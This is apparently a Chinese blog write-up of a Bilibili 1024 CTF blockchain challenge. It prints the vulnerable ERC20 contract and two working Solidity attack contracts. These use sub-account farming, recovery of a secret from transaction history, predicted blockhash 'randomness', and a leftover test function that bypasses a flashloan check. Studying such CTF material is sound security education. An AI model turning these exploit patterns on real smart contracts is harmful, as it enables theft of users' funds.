2022哔哩哔哩 1024程序员节 T4 区块链详解

  • oacia
  • 更新于 2022-11-01 17:03
  • 阅读 2173

2022哔哩哔哩 1024程序员节 T4 区块链详解,这次题目使用了两种方法,都可以顺利拿到flag

2022哔哩哔哩 1024程序员节 T4 区块链详解

本次题目的地址为sepolia@0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA

前言

这一次1024程序员节中有区块链相关的题目,作为今年才开始起步区块链的小萌新,这一题也是整整看了一整个周末才做出来,不过做出来之后也是相当的具有成就感滴:),话不多说,我们现在就来看一看如何做出这一题.


源码

先上合约源码↓↓↓↓↓↓

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.12;

import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
//import "@openzeppelin/contracts/utils/Context.sol";

struct Coupon {
    uint loankey;
    uint256 amount;
    address buser;
    bytes reason;
}
struct Signature {
    uint8 v;
    bytes32[2] rs;
}
struct SignCoupon {
    Coupon coupon;
    Signature signature;
}

contract MyToken is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => uint) public _ebalances;
    mapping(address => uint) public ethbalances;

    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => uint) public _profited;
    mapping(address => uint) public _auth_one;
    mapping(address => uint) public _authd;
    mapping(address => uint) public _loand;
    mapping(address => uint) public _flag;
    mapping(address => uint) public _depositd;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address owner;
    address backup;
    uint secret;
    uint tokenprice;

    Coupon public c;

    address public lala;
    address public xixi;

    //mid = bilibili uid
    //b64email = base64(your email address)
    //Don't leak your bilibili uid
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string mid, string b64email); 
    event changeprice(uint secret_);

    constructor(string memory name_, string memory symbol_, uint secret_) {
        _name = name_;
        _symbol = symbol_;
        owner = msg.sender;
        backup = msg.sender;
        tokenprice = 6;
        secret = secret_;
        _mint(owner, 2233102400);
    }

    modifier onlyowner() {
        require(msg.sender == owner);
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function deposit() public {
        require(_depositd[msg.sender] == 0, "you can only deposit once");
        _depositd[msg.sender] = 1;
        ethbalances[msg.sender] += 1;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;                   
    }

    function setbackup() public onlyowner {
        owner = backup;
    }

    function ownerbackdoor() public {
        require(msg.sender == owner);
        _mint(owner, 1000);
    }

    function auth1(uint pass_) public {
        require(pass_ == secret, "auth fail");
        require(_authd[msg.sender] == 0, "already authd");
        _auth_one[msg.sender] += 1;
        _authd[msg.sender] += 1;
    }

    function auth2(uint pass_) public {
        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        require(pass == pass_, "password error, auth fail");
        require(_auth_one[msg.sender] == 1, "need pre auth");
        require(_authd[msg.sender] == 1, "already authd");
        _authd[msg.sender] += 1;
    }

    function payforflag(string memory mid, string memory b64email) public {
        require(_flag[msg.sender] == 2);
        emit sendflag(mid, b64email);
    }

    function flashloan(SignCoupon calldata scoupon) public {

        require(scoupon.coupon.loankey == 0, "loan key error");

        require(msg.sender == address(this), "hacker get out");
        Coupon memory coupon = scoupon.coupon;
        Signature memory sig = scoupon.signature;
        c=coupon; 

        require(_authd[scoupon.coupon.buser] == 2, "need pre auth");

        require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
        require(scoupon.coupon.amount <= 300, "loan amount error");

        _loand[scoupon.coupon.buser] = 1;

        _ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
    }

    function profit() public {
        require(_profited[msg.sender] == 0);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, 1);
    }

    function borrow(uint amount) public {
        require(amount == 1);
        require(_profited[msg.sender] <= 1);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, amount);
    }

    function buy(uint amount) public {
        require(amount <= 300, "max buy count is 300");
        uint price;
        uint ethmount = _ebalances[msg.sender];
        if (ethmount < 10) {
            price = 1000000;
        } else if (ethmount >= 10 && ethmount <= 233) {
            price = 10000;
        } else {
            price = 1;
        }
        uint payment = amount * price;
        require(payment <= ethmount);
        _ebalances[msg.sender] -= payment;
        _transfer(owner, msg.sender, amount);
    }

    function sale(uint amount) public {
        require(_balances[msg.sender] >= amount, "fail to sale");
        uint earn = amount * tokenprice;
        _transfer(msg.sender, owner, amount);
        _ebalances[msg.sender] += earn;
    }

    function withdraw() public {
        require(ethbalances[msg.sender] >= 1);
        require(_ebalances[msg.sender] >= 1812);
        payable(msg.sender).call{value:100000000000000000 wei}("");

        _ebalances[msg.sender] = 0;
        _flag[msg.sender] += 1;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        require(msg.sender == owner);     //不允许被owner以外调用
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        require(msg.sender == owner);     //不允许被owner以外调用
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        require(msg.sender == owner);     //不允许被owner以外调用
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    // debug param secret
    function get_secret() public view returns (uint) {
        require(msg.sender == owner);
        return secret;
    }

    // debug param tokenprice
    function get_price() public view returns (uint) {
        return tokenprice;
    }

    // test need to be delete
    function testborrowtwice(SignCoupon calldata scoupon) public {
        require(scoupon.coupon.loankey == 2233);
        MyToken(this).flashloan(scoupon);
    }

    // test need to be delete
    function set_secret(uint secret_) public onlyowner {
        secret = secret_;
        emit changeprice(secret_);
    }
}

1.明确目标

这里我们注意到了一个函数payforflag,很明显,我们需要调用这一个函数来获得我们的flag,那么调用这个函数的条件是什么呢?

function payforflag(string memory mid, string memory b64email) public {
        require(_flag[msg.sender] == 2);
        emit sendflag(mid, b64email);
    }

我们需要_flag[msg.sender]的值为2

接下来要做的就是寻找函数使_flag[msg.sender]的值到2.

通过寻找,我们找到了withdraw这个函数,而这个函数的执行需要满足两个条件,分别是ethbalances[msg.sender] >= 1_ebalances[msg.sender] >= 1812.

function withdraw() public {
        require(ethbalances[msg.sender] >= 1);
        require(_ebalances[msg.sender] >= 1812);
        payable(msg.sender).call{value:100000000000000000 wei}("");

        _ebalances[msg.sender] = 0;
        _flag[msg.sender] += 1;
    }

第一个条件

先看第一个条件ethbalances[msg.sender] >= 1,我们可以使用deposit这个函数来令其满足

function deposit() public {
        require(_depositd[msg.sender] == 0, "you can only deposit once");
        _depositd[msg.sender] = 1;
        ethbalances[msg.sender] += 1;
    }

第二个条件

再看第二个条件_ebalances[msg.sender] >= 1812,涉及到该变量的函数有profit,borrow,buy,sale

function profit() public {
        require(_profited[msg.sender] == 0);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, 1);
    }

    function borrow(uint amount) public {//获得1个_balances
        require(amount == 1);
        require(_profited[msg.sender] <= 1);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, amount);
    }

    function buy(uint amount) public {//通过出售_ebalances购买_balances
        require(amount <= 300, "max buy count is 300");
        uint price;
        uint ethmount = _ebalances[msg.sender];
        if (ethmount < 10) {
            price = 1000000;
        } else if (ethmount >= 10 && ethmount <= 233) {
            price = 10000;
        } else {
            price = 1;
        }
        uint payment = amount * price;
        require(payment <= ethmount);
        _ebalances[msg.sender] -= payment;
        _transfer(owner, msg.sender, amount);
    }

    function sale(uint amount) public {//通过出售_balances获得_ebalances
        require(_balances[msg.sender] >= amount, "fail to sale");
        uint earn = amount * tokenprice;
        _transfer(msg.sender, owner, amount);
        _ebalances[msg.sender] += earn;
    }

我们看看profit这个函数,只能运行一次,获得一个_balances;而borrow这个函数,一共可以执行两次获得两个_balances.但是这两个函数都有_profited[msg.sender]这个变量进行限制,也就是说,我们最多只能通过profitborrow函数获得2个_balances.

那么_balances有什么用呢?看一看sale函数,我们可以把_balances卖掉得到_ebalances,其中tokenprice已经被定义为6了,所以_balances_ebalances之间的兑换比例为1:6.

buy这个函数,只有当_ebalances大于233时,_ebalances_balances之间的兑换比例才是1:1.

仔细看看上面两段话,稍微思考一下就可以明白,只要我的_ebalances比233要大,那么不就可以通过与_balances互刷的方式不断增加我的_ebalances从而满足条件2_ebalances[msg.sender] >= 1812?!

这里我举个简单的例子,假设我现在有_ebalances300个,那么我可以通过buy(300)获得_balances300个,随后在通过sale(300)获得_ebalances300*6=1800个,然后再重复上面的过程,那么我的_ebalances不久可以源源不断的增加的吗~~~~

所以我们现在要做的可以是:

  • 获得_ebalances大于233个
  • 或者_balances大于等于39个(因为获得39个以上的_balances后,可以通过sale函数获得的_ebalances的数量是6*_balances,即234个)

2.编写攻击合约

在求解这一题的过程中,我想到了两种方法都可以来获得flag,接下来听我一一道来~~

方法①

我们知道每一个初始账号都可以固定获得2个_balances,那么我们能否通过小号为大号通过transfer方法发送_balances的方法获得足够数量的_balances呢?答案是可行的.

直接上代码!

先写一个拿两个_balances并转给大号的合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./ctf.sol";
contract mulcreate {
    MyToken public mytoken;

    constructor(address _MyTokenAddress) {
        mytoken = MyToken(_MyTokenAddress);
    }
    receive() external payable {}
    function onestep() public{
        mytoken.borrow(1);
        mytoken.borrow(1);
        mytoken.transfer(adreess(你的主账户地址),2);
    }
}

再写一个批量创建合约的合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./create_contract.sol";

contract mulcreate_Factory {
  mulcreate Mulcreate;
  function create() external {
    uint i = 0;
    for(i=0;i<=20;i=i+1){
        Mulcreate = new mulcreate(0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA);//这个地址就是题目合约的地址
        Mulcreate.onestep();
    }

  }
}

通过调用第二个合约,给大号足够的_balances启动资金,就可以开始刷_ebalances拿flag咯~~

方法②

细心的同学在做这题的时候有没有发现这个函数flashloan,可以直接给你增加300的_ebalances!

function flashloan(SignCoupon calldata scoupon) public {

        require(scoupon.coupon.loankey == 0, "loan key error");

        require(msg.sender == address(this), "hacker get out");
        Coupon memory coupon = scoupon.coupon;
        Signature memory sig = scoupon.signature;
        c=coupon; 

        require(_authd[scoupon.coupon.buser] == 2, "need pre auth");

        require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
        require(scoupon.coupon.amount <= 300, "loan amount error");

        _loand[scoupon.coupon.buser] = 1;

        _ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
    }

不过直接编写攻击合约来调用这个函数肯定是不行滴,因为require(msg.sender == address(this), "hacker get out")这一句的限制了,咋办嘞?

再找找看叭~~于是我们找到了一个调用flashloan的函数testborrowtwice,这不就正好可以满足上面的条件了吗~

function testborrowtwice(SignCoupon calldata scoupon) public {
        require(scoupon.coupon.loankey == 2233);
        MyToken(this).flashloan(scoupon);
    }

不过flashloan内还有限制条件require(_authd[scoupon.coupon.buser] == 2, "need pre auth"),就是说需要验证的意思,我们找找这两个验证函数auth1auth2

function auth1(uint pass_) public {
        require(pass_ == secret, "auth fail");
        require(_authd[msg.sender] == 0, "already authd");
        _auth_one[msg.sender] += 1;
        _authd[msg.sender] += 1;
    }

    function auth2(uint pass_) public {
        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        require(pass == pass_, "password error, auth fail");
        require(_auth_one[msg.sender] == 1, "need pre auth");
        require(_authd[msg.sender] == 1, "already authd");
        _authd[msg.sender] += 1;
    }

对于auth1,secret不是直接在constructor中有定义了嘛~直接看合约

image-20221101140608227.png NICE!一下子就找到了根本难不倒我们~

但是当你开开心心的把123456输进去的时候,结果发现居然没通过???

咋回事嘞

再找找看咯

于是你再源码中发现了这个set_secret!没想到owner还可以改secret!!

 function set_secret(uint secret_) public onlyowner {
        secret = secret_;
        emit changeprice(secret_);
    }

这个我们玩区块链的根本不慌滴,区块链的每一笔交易都是有记录的,我们直接去看最早的交易记录.

嘿嘿

image-20221101140901701.png 这不就有了嘛~

看看这笔交易的信息

image-20221101140950991.png 嘿嘿secret就是0x154be90,转一下十进制就是22331024,还挺有寓意的嘛~

接下来就是搞auth2 的时候了

function auth2(uint pass_) public {
        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        require(pass == pass_, "password error, auth fail");
        require(_auth_one[msg.sender] == 1, "need pre auth");
        require(_authd[msg.sender] == 1, "already authd");
        _authd[msg.sender] += 1;
    }

当我看到uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))这个的时候,我瞬间乐开了花,这我可太熟悉不过了~

看看这篇文章Source of Randomness简直简直就是一个模子里刻出来的哇,

uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))这玩意儿看着随机,其实是确定的!

接下来写个攻击合约就可以赚到大把大把的_balances

直接上代码!

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./ctf.sol";
contract Attack {
    MyToken public mytoken;

    constructor(address _MyTokenAddress) {//_MyTokenAddress是题目的合约地址
        mytoken = MyToken(_MyTokenAddress);
    }
    receive() external payable {}

    function attack() public{
        mytoken.deposit();//满足ethbalances[msg.sender] >= 1

        mytoken.borrow(1);
        mytoken.borrow(1);//得到两个_balances

        mytoken.auth1(22331024);//第一个验证

        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );
        mytoken.auth2(answer);//第二个验证

        SignCoupon memory scoupon;
        scoupon.coupon.loankey=2233;
        scoupon.coupon.amount=300;
        scoupon.coupon.buser=address(this);
        mytoken.testborrowtwice(scoupon);//获得_ebalances 300个

        mytoken.buy(302);//用_ebalances去换_balances 302个

        mytoken.transfer(adrress(你自己的账户地址),302);//给你的大号转账_balances 302个
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

结语

至此,这第四题区块链的解答就到此结束了

说一说感受吧,每次做区块链的题目都感觉特别有意思,其实本人过去是学习逆向工程的 ,今年才开始接触区块链,解区块链题目的过程说实话,和逆向分析真的好像哇,都是一个逆向的过程,分析需要满足的条件,然后设法编写合约来让条件得到满足,最终满足所有需要的条件之后获得flag ,好玩好玩,嘿嘿(●ˇ∀ˇ●)

点赞 1
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
oacia
oacia
江湖只有他的大名,没有他的介绍。